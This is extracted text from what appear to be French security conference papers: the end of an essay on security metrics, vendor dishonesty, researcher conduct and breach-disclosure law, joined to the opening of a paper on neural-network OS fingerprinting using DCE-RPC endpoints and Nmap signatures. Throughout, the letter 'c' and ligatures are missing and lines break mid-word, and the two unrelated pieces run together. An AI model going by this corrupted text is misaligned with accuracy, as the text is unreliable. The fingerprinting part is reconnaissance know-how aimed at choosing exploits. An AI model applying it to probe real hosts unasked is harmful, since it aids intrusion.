helangelo �, � Hare Krishna �, � Palm Trojan � (motif : honnêteté spontanée des

so
iétés 
ommer
iales...) - on a le droit de penser que 
es 
odes 
olorés relèvent plus du marketing

que de la statistique utile. De nos jours, un administrateur de serveur de 
ourrier éle
tronique tant

soit peu fréquenté est, de toute façon, très rapidement au 
ourant du niveau d'alerte qui le 
on
erne.

Passons.

3 Mesure Commer
iale de Se
urité

Le � Se
urity Metri
s Consortium � lan
é à grand renfort d'annon
es de presse

7

au début

de 2004 par la so
iété Foundstone s'était donné le but louable de mettre de l'ordre au pays des

� se
urity metri
s �. Il devait regrouper des CSO/CISO de premier plan et, en�n, répondre de façon

indépendante et neutre aux interrogations légitimes des responsables de la sé
urité informatique.

Le � Se
urity Metri
s Consortium � avait-il des réponses à nous apporter ? Nous ne le saurons

malheureusement pas.

5

http://www.
s.
mu.edu/~dst/Adobe/Gallery/ds-def
on/sld001.htm

6

post personnel sur alt.se
urity le 21 Mars 1997

7

http://www.eweek.
om/arti
le2/02C18952C15384102C00.asp et http://www.foundstone.
om/


ompany/pressrelease_template.htm?indexid=115
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4 Statistiques d'in
idents

Il est généralement admis, dans le monde de la sé
urité informatique, qu'on ne peut se �er aux

rapports d'a

idents informatiques spontanément signalés par les so
iétés qui en sont vi
times. Les


adavres, au pla
ard ! (motif : honnêteté des so
iétés 
ommer
iales...)

C'est pourtant, e�et se
ondaire inattendu de notre ex
ursion dans les méthodes de mesure de

la sé
urité informatique, de 
e 
�té que vient notre premier élément positif : une loi bien informée


omme le California Se
urity Brea
h Information A
t

8

peut aider les so
iétés 
ommer
iales

à rester dans le droit 
hemin. C'est ainsi qu'on s'est aperçu que CardSystems

9

, un 
entre d'autori-

sations de 
artes de 
rédit majeur, n'utilisait au
un 
hi�rement pour ses 
ommuni
ations sensibles.

La loi les a for
és à révéler l'attaque dont ils avaient été vi
time mais aussi à préserver toute la

do
umentation dont ils disposaient sur l'in
ident. Ils n'avaient � perdu � que les 
ara
téristiques

de 40 millions de 
artes de 
rédits... Cette loi, qui engage 
lairement la responsabilité des so
iétés


ommer
iales, a sus
ité une réa
tion unanimement dé
rite 
omme salutaire. Nous y reviendrons.

8

California Se
urity Brea
h Information A
t (SB-1386)

9

http://www.
omputerworld.
om/se
uritytopi
s/se
urity/story/0,10801,102646,00.html
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5 Système D : le sondage

Une autre méthode d'estimation du niveau de sé
urité informatique, 
'est le sondage des profes-

sionnels. Qui pense que le niveau de sé
urité informatique est meilleur aujourd'hui qu'il y a 
inq ou

dix ans ? Si vous pensez, 
omme moi, que la situation ne s'est pas améliorée, malgré les quelques 27

milliards de dollars dépensés en 2004 dans le se
teur, (qui a�
he des taux de 
roissan
e de 20% par

an), il est légitime de se demander quelle malédi
tion frappe notre se
teur, qui l'empê
he d'a�
her

des progrès similaires, par exemple, à 
eux de la sé
urité routière.

Il y a malheureusement un ensemble de fa
teurs fa
e auxquels nous sommes presque impuissants.

6 La prouvabilité des programmes

Les programmes ne sont pas prouvables. De façon générale et de façon parti
ulière, quel que soit

le niveau auquel l'on se pla
e

10

. Une ane
dote illustre l'ignoran
e de 
es prin
ipes. Un soir de 2001,

un de nos 
lients téléphone pour nous proposer une 
ollaboration te
hnique ave
 sa prestigieuse

institution universitaire : son but est simple. Le mar
hé est, en théorie, pro�table aux deux parties.

� Nous allons 
ommen
er par déterminer l'intention hostile d'un mor
eau arbitraire de 
ode.

Vous nous aidez te
hniquement à implémenter 
es heuristiques sous forme de plugin pour votre

produit �

Nous ren
ontrons un nouveau motif du monde de la sé
urité informatique - l'ignoran
e de

prin
ipes théoriques fondamentaux � et un motif 
onnu : l'ignoran
e pratique, de tous les petits

détails qui, au niveau de l'o
tet, peuvent gâ
her la fête.

Mon 
orrespondant s'est étonné, o�usqué même, de mon manque d'intérêt. En 2005, il travaillait

toujours sur le problème et nous a o�ert une nouvelle 
ollaboration, rémunérée 
ette fois, que nous

avons refusé.

7 L'utilisation du C et du C++

On peut se demander quel serait l'aspe
t du paysage de la sé
urité informatique si le C et le C++

n'avaient pas été inventés. Beau
oup de 
hoses ont été é
rites sur le sujet et sur les vulnérabilités

asso
iées à une 
ertaine pratique de 
es langages. Des e�orts très importants ont été 
onsentis et


ommen
ent à porter leurs fruits. Hélas, l'héritage est très lourd et 
'est 
ette énorme quantité de


ode laissée en héritage qui 
ontinuera de poser problème.

8 La 
omplexité 
roissante

L'immense diversité des appli
ations et appareils déployés, la 
omplexité sans 
esse 
roissante des

proto
oles et des standards, restent évidemment des obsta
les majeurs à l'amélioration du paysage

sé
uritaire. Il n'est pas possible d'être un hyper-spé
ialiste des algorithmes 
ryptographiques, de la

rétro-ingéniérie de leurs implémentations, de TCP/IP, des détails de l'uPnP, la sé
urisation d'un

serveur Ex
hange, et
...

10

http://www.a
m.org/
lassi
s/sep95/
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9 L'édu
ation de l'utilisateur

Nous savons aujourd'hui que l'édu
ation de l'utilisateur est une tâ
he insurmontable. Dans

les domaines qui n'ont pas ou peu 
hangé, tels la gestion des mots de passe, il est 
lair que les

nombreuses 
ampagnes d'édu
ation n'ont eu que peu d'e�et. Dans les domaines très 
hangeants,

on a à peine terminé une expli
ation qu'elle ne s'applique plus. (phishing, sé
urité wireless)

Heureusement, 
ertains des fa
teurs responsables de l'environnement pré
aire a
tuel sont à notre

portée. Commençons par mettre de l'ordre dans notre propre jardin et pen
hons-nous sur l'attitude

des 
her
heurs en sé
urité informatique.

10 Le 
her
heur et le � Cool fa
tor �.

L'utilisation par IBM de réseaux neuronaux pour la déte
tion des virus de se
teur de démarrage

et la publi
ation des résultats de 
ette re
her
he

11

dans la revue IEEE Expert reste pour moi un


as d'é
ole

� le problème était d'une portée minime.

� les solutions existantes étaient su�santes te
hniquement.

� des solutions non te
hniques raisonnables existaient.

Le monde de la sé
urité informatique est plein d'individus talentueux et enthousiastes, qui

s'amusent à inventer et 
her
hent, 
'est bien naturel, à attirer l'attention. Le spe
ta
ulaire devan
e

souvent l'outil. L'outil pré
ède parfois le problème. C'est bien, mais 
e n'est en général pas la solution

optimale et 
ela gaspille le talent. Une appro
he plus méthodique, moins médiatique, 
omme 
elle

de l'équipe du Wis
onsin Safety Analyzer

12

devrait jouer le r�le de modèle. Essayons d'y penser


haque fois que nous apportons une solution très � Cool � à un problème de sé
urité informatique.

11 Le 
her
heur et l'hypo
risie.

En 1996, le � Little Bla
k Book of Computer Viruses � défrayait la 
hronique. A l'époque, l'aura

� virus � était bien plus fort qu'aujourd'hui. Quand les bulgares ne jouaient pas du parapluie dans

les rues de Londres, leurs mé
hants génies travaillaient à la perte du monde o

idental.

The Bulgarian Dark Avenger writes viruses. Mu
h like Hannibal Le
ter, he is 
lever - and


unningly dangerous. (Sarah Gordon � IBM)

En 2006, un des livres de sé
urité informatique les plus lu se 
onsa
re ex
lusivement à la 
onstru
-

tion de rootkits. Est-il vraiment né
essaire, dans 
e genre d'ouvrage, d'expliquer au le
teur qu'il

est intéressant de 
réer des sous-répertoires pour gérer des projets d'une 
ertaine ampleur ? Guider

pas à pas un publi
 paresseux dans la réalisation d'outils dangereux est-il une attitude responsable

à moyen ou long terme ? Question intéressante : pourquoi la justi
e, pourtant moins aggressive à

l'époque, avait-elle souhaité interdire le � bla
k book � alors que le livre 
onsa
ré aux � rootkit �

ne sus
ite au
une réa
tion ? (nouveau motif : les buts des so
iétés 
ommer
iales ont-ils un impa
t

sur la genèse et l'utilisation des lois ?)

11

http://www.resear
h.ibm.
om/antivirus/S
iPapers/Tesauro/NeuralNets.html

12

http://www.
s.wis
.edu/wisa/
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12 Le 
her
heur et la te
hnologie.

La te
hnologie ne fon
tionne pas ? Ajoutons de la te
hnologie ! Une réa
tion bien naturelle, fa
e

à un problème te
hnologique, est d'apporter une réponse te
hnologique : le logi
iel � Bla
kI
e �

fut un des premiers systèmes de pare-feu/IDS personnel. Malheureusement, Bla
k I
e lui-même est

devenu la sour
e d'in
idents

13

et, à l'autopsie, les utilisateurs qui ne l'ont pas installé mais qui lui

ont préféré des mesures d'hygiène simple ont gagné au 
hange. Au début des années 2000, la mode

était à l'installation de doubles �rewalls : CodeRed, imprévu, est tranquillement passé au travers

des doubles 
on�gurations. Parfois, souvent, il faut simpli�er. (motif : une vulnérabilité est 
orrigée

par une nouvelle 
ou
he logi
ielle, elle-même vulnérable)

13 Le 
her
heur, l'attrait de la gloire et la 
onfusion des termes.

Le � rootkit � de Sony est un 
as d'é
ole ré
ent. Selon les dé�nitions existantes avant l'in
i-

dent, il ne s'agissait 
lairement pas d'un rootkit, mais bien d'une méthode de prote
tion, malpolie,

dangereuse, irritante 
omme on en trouve dans les jeux vidéos

14

. Mark Russinovi
h l'a initialement

quali�ée de � rootkit like method �. Très vite, on a assisté à une dérive du sens des mots. On a

résumé en � rootkit �. Sony passé en mode 
ontr�le de dommage, a o�ert une méthode lourde et

vulnérable de désinstallation. Bien entendu, un � 
her
heur � a montré la possibilité d'exploiter


ette méthode de désinstallation, pour faire n'importe quoi, et éventuellement installer un virus.

Le rootkit Sony qui n'en était pas un est devenu � le virus Sony �... Mais déjà, on 
ommençait à

parler du � rootkit Symante
 �

Ces glissements de sens sont dangereux. Certes, prompts à sus
iter l'attention des médias et

la mobilisation populaire, ils o�rent l'illusion d'une vi
toire rapide sur une � mé
hante � so
iété


ommer
iale (motif : l'honnêteté spontanée des so
iétés 
ommer
iales). Mais le KO ainsi obtenu

n'est pas né
essairement suivi d'e�ets durables : Sony n'a pas vraiment retiré les disques protégés

du mar
hé. Ensuite, 
omme Symante
 l'a appris, la dérive de sens peut avoir des e�ets de bord

inattendus.

En�n, ils 
ontribuent, 
hez les dé
ideurs qui n'ont ni le temps ni les moyens de 
reuser le sujet,

à entretenir le 
limat de 
onfusion qui aide à la genèse de mauvaises lois. L'avis de S
hneier sur le

sujet, que je ne partage pas mais qui est intéressant, illustre 
lairement la 
onfusion et le malaise.

15

L'important n'était pas de gi�er Sony, l'important était de poser fondamentalement la question

de 
e que 
es so
iétés peuvent se permettre et, éventuellement, de légiférer. Une bonne loi 
omme

le � California Se
urity Brea
h Information A
t �, nous l'avons vu, peut responsabiliser les so
iétés


ommer
iales sans les étou�er.

L'appel de la gloire a entraîné une suren
hère qui a rapidement masqué les vrais enjeux : nous

avons manqué une opportunité. Ce n'est pas un 
as isolé.

14 Le 
her
heur qui 
asse pour 
asser.

Gardons toujours à l'esprit qu'il est plus fa
ile de 
asser un programme ou un système que

de le 
onstruire. Cette vérité inévitable devrait in
iter beau
oup d'entre-nous à un peu plus de

13

http://is
.sans.org/diary.php?date=2004-03-20

14

http://www.bookofhook.
om/Arti
le/GameDevelopment/TheCopyProte
tionDilemma.html

15

http://www.s
hneier.
om/blog/ar
hives/2005/11/sonys_drm_rootk.html
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mesure et de modestie. L'impression que le � super-ha
ker � médiatisé est plus fort que le pauvre

programmeur anonyme est, dans la très vaste majorité des 
as, totalement fausse. Ce distingo est

évident pour les spé
ialistes, mais pas toujours pour les médias...

Quittons maintenant notre 
her
heur pour nous intéresser au r�le des so
iétés 
ommer
iales...

15 Attitude des so
iétés 
ommer
iales

A�rmons le sans hésiter : rien ne pousse la so
iété 
ommer
iale à l'honnêteté spontanée. Croire

que les lois du mar
hé sont des moteurs puissants de vertu relève de la naïveté (SUV Ford, Vioxx,

Cartes Ban
aires...) ou du Bushianisme. L'attitude des so
iétés de sé
urité informatique ne fait pas

ex
eption à la règle : pour 
es so
iétés, l'unité de pé
hé se mesure en o
tets 
e qui permet de 
a
her

des 
imetières entiers dans de petits pla
ards. De l'a�aire Mi
helangelo aux a�rmations qu'au
une

exploitation des failles WMF n'était 
onnue. De la vente de bou
les XOR à 
inq mille dollars en

passant par les 
ampagnes de pub 
arrément mensongères (Ora
le

16

,

17

) on pourrait fa
ilement


onsa
rer une 
onféren
e 
omme 
elle-
i à la liste de 
es exa
tions.

Une bonne loi 
omme le � California Se
urity Brea
h Information A
t �, nous l'avons vu, peut

responsabiliser les so
iétés 
ommer
iales et les in
iter à améliorer leurs pratiques.

Une mauvaise loi, 
omme le sont des pans entiers du DMCA, est 
ontinuellement exploitée dans

des a
tions en justi
e frivoles, pour réduire au silen
e la personne qui tire la sonnette d'alarme ou

pour dissimuler l'in
royable faiblesse de 
ertaines solutions de sé
urité informatique.

Il devrait être possible de dé
ouvrir et dénon
er l'utilisation de XOR (ou ses variantes) dans

les programmes 
ommer
iaux sans s'exposer à des poursuites 
oûteuses. Les so
iétés 
ommer
iales

devraient être freinées dans leur enthousiasme à se livrer à une publi
ité mensongère.

16 Cadre Légal - Experts indépendants.

Vous avez maintenant 
ompris que je suis un fervent partisan des bonnes lois. Je ne suis pas le

seul : l'opinion qu'il faut mettre de l'ordre dans 
e � Far West � qu'est l'Internet est de plus en plus

souvent entendue. Mais qu'est-
e qu'une bonne loi ? Il est évident qu'il ne m'appartient pas d'en

dé�nir les 
ritères mais je suis autorisé à ré�é
hir.

A la ra
ine d'une grande partie des problèmes de sé
urité informatique, des pauvres méthodes

de 
hi�rement de la so
iété Bardon aux � rootkit Sony �, il y a un ensemble de faits te
hniques de

bas niveau auxquels le publi
 (qui ne sait pas 
e qu'est un rootkit � son édu
ation reste un mirage),

la so
iété 
ommer
iale (qui, à l'éviden
e, réagit ave
 in
ompéten
e), et le législateur (qui subit les

pressions intéressées de nombreux groupes d'intérêts) ne 
omprennent pas grand-
hose. Si 
ette

ignoran
e a des aspe
ts positifs puisqu'elle 
onfère à nos 
onnaissan
es l'utilité qui nous permet de

gagner notre pain, elle ne me parait pas une fondation bien solide pour bâtir de bonnes lois.

On me répondra que les � experts � sont là pour éduquer le législateur et le juge, que 
'est


e qui se passe dans d'autres dis
iplines. C'est vrai. Mais en sé
urité informatique, un domaine en

forte 
roissan
e où les salaires sont plus que 
orre
ts, l'expert indépendant 
ompétent est un oiseau

rare. Très rare.

On m'obje
tera que les pro
ès dans le domaine médi
al peuvent aussi tourner à la bataille

d'experts. C'est vrai. Mais, dans 
e genre de pro
ès, on ne se bat pas sur la dé�nition du terme

16

http://www.ora
le.
om/oramag/ora
le/02-mar/o22insight.html

17

http://news.
om.
om/2061-10789_3-5808928.html
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�brillation ou sur la nature du para
etamol. Ces termes ont une a

eption 
laire. Des organismes

de 
ontr�le indépendants ont établi des dé�nitions pré
ises, des re
ommandations de traitement,

et
... En informatique, un expert pourrait impunément prétendre qu'un pan
réas �brille ou que le

para
étamol est une hormone stéroïdienne.

Le milieu de la sé
urité informatique a besoin d'experts indépendants, en nombre su�sant

pour 
ouvrir les multiples fa
ettes de la te
hnologie. Le milieu de la sé
urité informatique a besoin

d'organismes indépendants, bien dotés, qui s'expriment 
lairement. Ces stru
tures indépendantes

doivent être utilisées pour responsabiliser, par l'intermédiaire de lois bien 
onçues, les so
iétés


ommer
iales qui fournissent des servi
es et des produits informatiques.

Ces experts seraient immunisés 
ontre le � 
ool fa
tor �, les retombées 
ommer
iales que la gloire

éphémère pourrait apporter à leur employeur. Ils seraient bien formés et re
onnaîtraient les motifs

que nous avons évoqués au �l de 
ette présentation.

Pour améliorer fondamentalement la situation de la sé
urité informatique, il faudra de bonnes

lois.

Pour ré
olter de bonnes lois, il faut semer la 
ompéten
e et l'indépendan
e.
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Résumé Nous présentons la déte
tion distante de systèmes d'exploitation 
omme un pro-

blème d'inféren
e : à partir d'une série d'observations (les réponses de la ma
hine 
ible à un

ensemble de tests), nous voulons inférer le type de système d'exploitation qui génèrerait 
es

observations ave
 une plus grande probabilité. Les te
hniques 
lassiques utilisées pour réaliser


ette analyse présentent plusieurs limitations. Pour outrepasser 
es limites, nous proposons

l'utilisation de Réseaux de Neurones et d'outils statistiques. Nous présenterons deux modules

fon
tionnels : un module qui utilise les points �naux DCE-RPC pour distinguer les versions

de Windows, et un module qui utilise les signatures de Nmap pour distinguer les versions

de systèmes Windows, Linux, Solaris, OpenBSD, FreeBSD et NetBSD. Nous expliquerons les

détails de la topologie et du fon
tionnement des réseaux de neurones utilisés, et du réglage

�n de leurs paramètres. Finalement nous montrerons des résultats expérimentaux positifs.

1 Introdu
tion

Le problème de la déte
tion à distan
e du système d'exploitation, aussi appelé OS Fingerprinting

(prise d'empreintes), est une étape 
ru
iale d'un test de pénétration, puisque l'attaquant (profes-

sionnel de la sé
urité, 
onsultant ou ha
ker) a besoin de 
onnaître l'OS de la ma
hine 
ible a�n de


hoisir les exploits qu'il va utiliser. La déte
tion d'OS est a

omplie en sni�ant de façon passive des

paquets réseau et en envoyant de façon a
tive des paquets de test à la ma
hine 
ible, pour étudier

des variations spé
i�ques dans les réponses qui révèlent son système d'exploitation.

Les premières implémentations de prise d'empreintes étaient basées sur l'analyse des di�éren
es

entre les implémentations de la pile TCP/IP. La génération suivante utilisa des données de la 
ou
he

d'appli
ations, tels que les endpoints DCE RPC. Bien que l'analyse porte sur plus d'information,

quelque variation de l'algorithme 
onsistant à 
her
her le point le plus pro
he (� best �t �) est

toujours utilisée pour interpréter 
ette information. Cette stratégie a plusieurs défauts : elle ne va

pas mar
her dans des situations non standard, et ne permet pas d'extraire les éléments 
lefs qui

identi�ent de façon unique un système d'exploitation. Nous pensons que le pro
hain pas est de

travailler sur les te
hniques utilisées pour analyser les données.

Notre nouvelle appro
he se base sur l'analyse de la 
omposition de l'information relevée durant

le pro
essus d'identi�
ation du système pour dé
ouvrir les éléments 
lef et leurs relations. Pour

implémenter 
ette appro
he, nous avons développé des outils qui utilisent des réseaux de neurones

et des te
hniques des domaines de l'Intelligen
e Arti�
ielle et les Statistiques. Ces outils ont été

intégrés ave
 su

ès dans un software 
ommer
ial (Core Impa
t).
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2 DCE-RPC Endpoint mapper

2.1 Le servi
e DCE-RPC nous informe

Dans les systèmes Windows, le servi
e DCE (Distributed Computing Environment) RPC (Re-

mote Pro
edure Call) reçoit les 
onnexions envoyées au port 135 de la ma
hine 
ible. En envoyant

une requête RPC, il est possible de déterminer quels servi
es ou programmes sont enregistrés dans

la base de données du mapper d'endpoints RPC. La réponse in
lut le UUID (Universal Unique

IDenti�er) de 
haque programme, le nom annoté, le proto
ole utilisé, l'adresse de réseau à laquelle

le programme est lié, et le point �nal du programme (endpoint).

Il est possible de distinguer les versions, éditions et servi
e pa
ks de Windows selon la 
ombi-

naison de point �naux fournie par le servi
e DCE-RPC.

Par exemple, une ma
hine Windows 2000 édition professionnelle servi
e pa
k 0, le servi
e RPC

retourne 8 points �naux qui 
orrespondent à 3 programmes :

uuid="5A7B91F8-FF00-11D0-A9B2-00C04FB6E6FC"

annotation="Messenger Servi
e"

proto
ol="n
alrp
" endpoint="ntsv
s" id="msgsv
.1"

proto
ol="n
a
n_np" endpoint="\PIPE\ntsv
s" id="msgsv
.2"

proto
ol="n
a
n_np" endpoint="\PIPE\s
erp
" id="msgsv
.3"

proto
ol="n
adg_ip_udp" id="msgsv
.4"

uuid="1FF70682-0A51-30E8-076D-740BE8CEE98B"

proto
ol="n
alrp
" endpoint="LRPC" id="mstask.1"

proto
ol="n
a
n_ip_t
p" id="mstask.2"

uuid="378E52B0-C0A9-11CF-822D-00AA0051E40F"

proto
ol="n
alrp
" endpoint="LRPC" id="mstask.3"

proto
ol="n
a
n_ip_t
p" id="mstask.4"

2.2 Les réseaux de neurones entrent en jeu ...

Notre idée est de modeler la fon
tion qui fait 
orrespondre les 
ombinaisons de points �naux

aux versions du système d'exploitation ave
 un réseau de neurones.

Plusieurs questions se posent :

· quel genre de réseau de neurones allons nous utiliser ?

· 
omment organiser les neurones ?

· 
omment faire 
orrespondre les 
ombinaisons de points �naux ave
 les neurones d'entrée du ré-

seau ?

· 
omment entraîner le réseau ?

Le 
hoix adopté est d'utiliser un réseau per
eptron multi
ou
hes, plus pré
isément 
omposé de

3 
ou
hes (nous indiquons entre parenthèses le nombre de neurones pour 
haque 
ou
he qui résulta

des tests de notre laboratoire, voir la �gure 1 pour un s
héma de la topologie du réseau).

1. 
ou
he d'entrée (ave
 413 neurones) 
ontient un neurone pour 
haque UUID et un neurone

pour 
haque point �nal qui 
orrespond à 
et UUID. Suivant l'exemple pré
édent, nous avons un

neurone pour le servi
e Messenger et 4 neurones pour 
haque endpoint asso
ié à 
e programme.
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Cela nous permet de répondre ave
 �exibilité à l'apparition d'un point �nal in
onnu : nous

retenons de toute façon l'information de l'UUID prin
ipal.

2. 
ou
he de neurones 
a
hés (ave
 42 neurones), où 
haque neurone représente une 
ombinaison

des neurones d'entrée.

3. 
ou
he de sortie (ave
 25 neurones), 
ontient un neurone pour 
haque version et édition de

Windows (p.ex. Windows 2000 édition professionnelle), et un neurone pour 
haque version et

servi
e pa
k de Windows (p.ex. Windows 2000 servi
e pa
k 2). De 
ette manière le réseau peut

distinguer l'édition et le servi
e pa
k de façon indépendante : les erreurs dans une dimension

n'a�e
tent pas les erreurs dans l'autre dimension.

x1
 x2
 x3
 x4
 x5


v2,1
 v2,2
 v2,3
 v2,4


y1
 y2
 y3
 y4


x6


v2,5


Fig. 1. Réseau de Neurones Per
eptron Multi
ou
hes

Qu'est-
e qu'un per
eptron ? C'est l'unité de base du réseau, et en suivant l'analogie biologique,

il joue le r�le d'un neurone qui reçoit de l'énergie à travers de ses 
onne
tions synaptiques et la

transmet à son tour selon une fon
tion d'a
tivation.

Con
rètement, 
haque per
eptron 
al
ule sa valeur de sortie 
omme

vi,j = f(

n∑

k=0

wi,j,k · xk )

où {x1 . . . xn} sont les entrées du neurone, x0 = −1 est une entrée de biais �xe et f est une fon
tion

d'a
tivation non linéaire (nous utilisons tanh, la tangente hyperbolique). L'entraînement du réseau


onsiste à 
al
uler les poids synaptiques {wi,j,0 . . . wi,j,n} pour 
haque neurone (i, j) (i est la 
ou
he,
j est la position du neurone dans la 
ou
he).
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2.3 Entraînement par rétropropagation

L'entraînement se réalise par rétropropagation : pour la 
ou
he de sortie, à partir d'une sortie

attendue {y1 . . . ym} nous 
al
ulons (pour 
haque neurone) une estimation de l'erreur

δi,j = f ′(vi,j) (yj − vi,j)

Celle-
i est propagée aux 
ou
hes pré
édentes par :

δi,j = f ′(vi,j)
∑

k

wi,j,k · δi+1,j

où la somme est 
al
ulée sur tous les neurones 
onne
tés ave
 le neurone (i, j).
Les nouveaux poids, au temps t + 1, sont

wt+1;i,j,k = wt;i,j,k + ∆wt;i,j,k

où ∆wt dépend d'un fa
teur de 
orre
tion et aussi de la valeur de ∆wt−1 multipliée por un mo-

mentum µ (
ela donne aux modi�
ations une sorte d'énergie 
inétique) :

∆wt;i,j,k = (λ · δi+1,k · vi,j) + µ ·∆wt−1;i,j,k

Le fa
teur de 
orre
tion dépend des valeurs δ 
al
ulées et aussi d'un fa
teur d'apprentissage λ qui

peut être ajusté pour a

élérer la 
onvergen
e du réseau.

Le type d'entraînement réalisé s'appelle apprentissage supervisé (basé sur des exemples). La

rétropropagation part d'un jeu de données ave
 des entrées et des sorties re
her
hées. Une génération


onsiste à re
al
uler les poids synaptiques pour 
haque paire d'entrée / sortie. L'entraînement


omplet requiert 10350 générations, 
e qui prend quelques 14 heures d'exé
ution de 
ode python.

Etant donné que le design de la topologie du réseau est un pro
essus assez artisanal (essai et erreur),

qui requiert d'entraîner le réseau pour 
haque variation de la topologie a�n de voir si elle produit

de meilleurs résultats, le temps d' exé
ution nous a parti
ulièrement motivés à améliorer la vitesse

de 
onvergen
e de l'entraînement (problème que nous traitons dans la se
tion 4).

Pour 
haque génération du pro
essus d'entraînement, les entrées sont réordonnées au hasard

(pour que l'ordre des données n'a�e
te pas l'entraînement). En e�et le réseau est sus
eptible d'ap-

prendre n'importe quel aspe
t des entrées fournies, en parti
ulier l'ordre dans lequel on lui présente

les 
hoses.

La table 1 montre le résultat de l'exé
ution du module 
ontre un Windows 2000 édition server

sp1. Le système 
orre
t est re
onnu ave
 un haut niveau de 
on�an
e. La table 2 montre une


omparaison (de notre laboratoire) entre le vieux module DCE-RPC (qui utilise un algorithme de

� best �t �) et le nouveau module qui utilise un réseau de neurones pour analyser l'information.

3 Déte
tion d'OS basée sur les signatures de Nmap

3.1 Ri
hesse et faiblesse de Nmap

Nmap est un outil d'exploration réseau et un s
anner de sé
urité qui in
lut une méthode de

déte
tion d'OS basée sur la réponse de la ma
hine 
ible à une série de 9 tests. Nous dé
rivons

brièvement dans le tableau 3, les paquets envoyés par 
haque test, pour plus d'informations voir la

page de Nmap [1℄.
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Neural Network Output (
lose to 1 is better):

Windows NT4: 4.87480503763e-005

Editions:

Enterprise Server: 0.00972694324639

Server: -0.00963500026763

Servi
e Pa
ks:

6: 0.00559659167371

6a: -0.00846224120952

Windows 2000: 0.996048928128

Editions:

Server: 0.977780526016

Professional: 0.00868998746624

Advan
ed Server: -0.00564873813703

Servi
e Pa
ks:

4: -0.00505441088081

2: -0.00285674134367

3: -0.0093665583402

0: -0.00320117552666

1: 0.921351036343

Windows 2003: 0.00302898647853

Editions:

Web Edition: 0.00128127138728

Enterprise Edition: 0.00771786077082

Standard Edition: -0.0077145024893

Servi
e Pa
ks:

0: 0.000853988551952

Windows XP: 0.00605168045887

Editions:

Professional: 0.00115635710749

Home: 0.000408057333416

Servi
e Pa
ks:

2: -0.00160404945542

0: 0.00216065240615

1: 0.000759109188052

Setting OS to Windows 2000 Server sp1

Setting ar
hite
ture: i386

Tab. 1. Résultat du module DCE-RPC endpoint mapper

Résultat Vieux module DCE-RPC ave


DCE-RPC réseau de neurones

Con
ordan
e parfaite 6 7

Con
ordan
e partielle 8 14

Erreur 7 0

Pas de réponse 2 2

Tab. 2. Comparaison entre le vieux module DCE-RPC et le nouveau module
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Test envoyer paquet à un port ave
 les �ags

T1 TCP TCP ouvert SYN, ECN-E
ho

T2 TCP TCP ouvert no �ags

T3 TCP TCP ouvert URG, PSH, SYN, FIN

T4 TCP TCP ouvert ACK

T5 TCP TCP fermé SYN

T6 TCP TCP fermé ACK

T7 TCP TCP fermé URG, PSH, FIN

PU UDP UDP fermé

TSeq TCP * 6 TCP ouvert SYN

Tab. 3. Des
ription des paquets envoyés

Notre méthode utilise la base de signatures de Nmap. Une signature est un ensemble de règles

dé
rivant 
omment une version / édition spé
i�que d'un système d'exploitation répond aux tests.

Par exemple :

# Linux 2.6.0-test5 x86

Fingerprint Linux 2.6.0-test5 x86

Class Linux | Linux | 2.6.X | general purpose

TSeq(Class=RI%g
d=<6%SI=<2D3CFA0&>73C6B%IPID=Z%TS=1000HZ)

T1(DF=Y%W=16A0%ACK=S++%Flags=AS%Ops=MNNTNW)

T2(Resp=Y%DF=Y%W=0%ACK=S%Flags=AR%Ops=)

T3(Resp=Y%DF=Y%W=16A0%ACK=S++%Flags=AS%Ops=MNNTNW)

T4(DF=Y%W=0%ACK=O%Flags=R%Ops=)

T5(DF=Y%W=0%ACK=S++%Flags=AR%Ops=)

T6(DF=Y%W=0%ACK=O%Flags=R%Ops=)

T7(DF=Y%W=0%ACK=S++%Flags=AR%Ops=)

PU(DF=N%TOS=C0%IPLEN=164%RIPTL=148%RID=E%RIPCK=E%UCK=E%ULEN=134%DAT=E)

La base de Nmap 
ontient 1684 signatures, 
e qui veut dire que quelques 1684 versions / éditions

de systèmes d'exploitation peuvent théoriquement être distinguées par 
ette méthode.

Nmap fon
tionne en 
omparant la réponse d'une ma
hine ave
 
haque signature de la base de

données. Un s
ore est assigné à 
haque signature, 
al
ulé simplement 
omme le nombre de règles

qui 
on
ordent divisé par le nombre de règles 
onsidérées (en e�et, les signatures peuvent avoir

di�érents nombres de règles, ou quelques 
hamps peuvent manquer dans la réponse, dans 
e 
as les

règles 
orrespondantes ne sont pas prises en 
ompte). C'est-à-dire que Nmap e�e
tue une espè
e

de � best �t � basé sur une distan
e de Hamming, où tous les 
hamps de la réponse ont le même

poids.

Un des problèmes que présente 
ette méthode est le suivant : les systèmes d'exploitation rares

(improbables) qui génèrent moins de réponses aux tests obtiennent un meilleur s
ore ! (les règles

qui 
on
ordent a
quièrent un plus grand poids relatif). Par exemple, il arrive que Nmap déte
te

un Windows 2000 
omme un Atari 2600 ou un HPUX ... La ri
hesse de la base de données devient

alors une faiblesse !
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3.2 Stru
ture de Réseaux Hiérar
hique

Si nous représentons symboliquement l'espa
e des systèmes d'exploitation 
omme un espa
e à

568 dimensions (nous verrons par la suite le pourquoi de 
e nombre), les réponses possibles des

di�érentes versions des systèmes in
lus dans la base de données forme un nuage de points. Ce grand

nuage est stru
turé de façon parti
ulière, puisque les familles de systèmes d'exploitation forment

des 
lusters plus ou moins re
onnaissables. La méthode de Nmap 
onsiste, à partir de la réponse

d'une ma
hine, à 
her
her le point le plus pro
he (selon la distan
e de Hamming déjà mentionnée).

Notre appro
he 
onsiste en premier lieu à �ltrer les systèmes d'exploitation qui ne nous inté-

ressent pas (toujours selon le point de vue de l'attaquant, par exemple les systèmes pour lesquels il

n'a pas d'exploits). Dans notre implémentation, nous sommes intéressés par les familles Windows,

Linux, Solaris, OpenBSD, NetBSD et FreeBSD. Ensuite nous utilisons la stru
ture des familles de

systèmes d'exploitation pour assigner la ma
hine à une des 6 familles 
onsidérées.

Le résultat est un module qui utilise plusieurs réseaux de neurones organisés de façon hiérar-


hique :

1. premier pas, un réseau de neurones pour dé
ider si l'OS est intéressant ou non.

2. deuxième pas, un réseau de neurones pour dé
ider la famille de l'OS : Windows, Linux, Solaris,

OpenBSD, FreeBSD, NetBSD.

3. dans le 
as de Windows, nous utilisons le module DCE-RPC endpoint mapper pour ra�ner la

déte
tion.

4. dans le 
as de Linux, nous réalisons une analyse 
onditionnée (ave
 un autre réseau de neurones)

pour dé
ider la version du kernel.

5. dans le 
as de Solaris et des BSD, nous réalisons une analyse 
onditionnée pour dé
ider la

version.

Nous utilisons un réseau de neurones di�érent pour 
haque analyse. Nous avons ainsi 5 réseaux

de neurones, et 
ha
un requiert une topologie et un entraînement spé
ial.

3.3 Entrées du réseau de neurones
